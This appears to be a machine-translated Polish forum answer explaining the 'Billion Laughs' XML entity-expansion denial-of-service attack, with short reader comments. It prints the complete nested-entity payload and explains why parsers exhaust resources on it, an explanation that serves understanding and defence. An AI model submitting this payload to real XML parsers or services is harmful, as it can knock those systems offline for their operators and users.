Atak typu "Billion Laughs" jest atakiem typu "odmowa usługi" skierowanym do analizatorów XML. Atak Billion Laughs jest również znany jako bomba XML lub, bardziej ezoterycznie, ekspansyjny atak ekspansji jednostek. Atak typu Billion Laughs może się zdarzyć nawet przy użyciu dobrze sformułowanego XML i może również przekazać walidację schematu XML.
Atak vanilla Billion Laughs został przedstawiony w pliku XML przedstawionym poniżej.
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
W tym przykładzie, istnieje 10 różnych podmiotów XML, lol
- lol9
. Pierwsza jednostka, lol
jest zdefiniowana jako ciąg “lol”
. Jednak każda z pozostałych jednostek jest zdefiniowana jako 10 innej jednostki. Sekcja treści dokumentu tego pliku XML zawiera odniesienie do tylko jednego wystąpienia jednostki lol9
. Jednak gdy jest on analizowany przez analizator składni DOM lub SAX, po napotkaniu lol9
jest on rozszerzany do 10 lol8
s, z których każdy jest rozszerzany do 10 lol7
s, i tak dalej i tak dalej. Do czasu, gdy wszystko zostanie rozszerzone do tekstu lol
, istnieje 100 000 000 wystąpień ciągu "lol"
. Gdyby istniał jeszcze jeden byt, lub lol
został zdefiniowany jako 10 ciągów “lol”
, pojawiłoby się miliardowe "lol", stąd nazwa ataku. Nie trzeba dodawać, że wiele ekspansji pochłania wykładniczą ilość zasobów i czasu, powodując DOS.
Istnieje szersze wyjaśnienie na temat mojego blog.
Powinien zostać przeniesiony do BufferOverFlow ... http: //en.wikipedia.org/wiki/Billion_laughs – codingbadger
Powinieneś zostać przeniesiony do barryoverflow –
Wypróbuj w Firefoksie 48 SVG, aby zatrzymać twój komputer :-) https://bugzilla.mozilla.org/show_bug.cgi?id=798374 –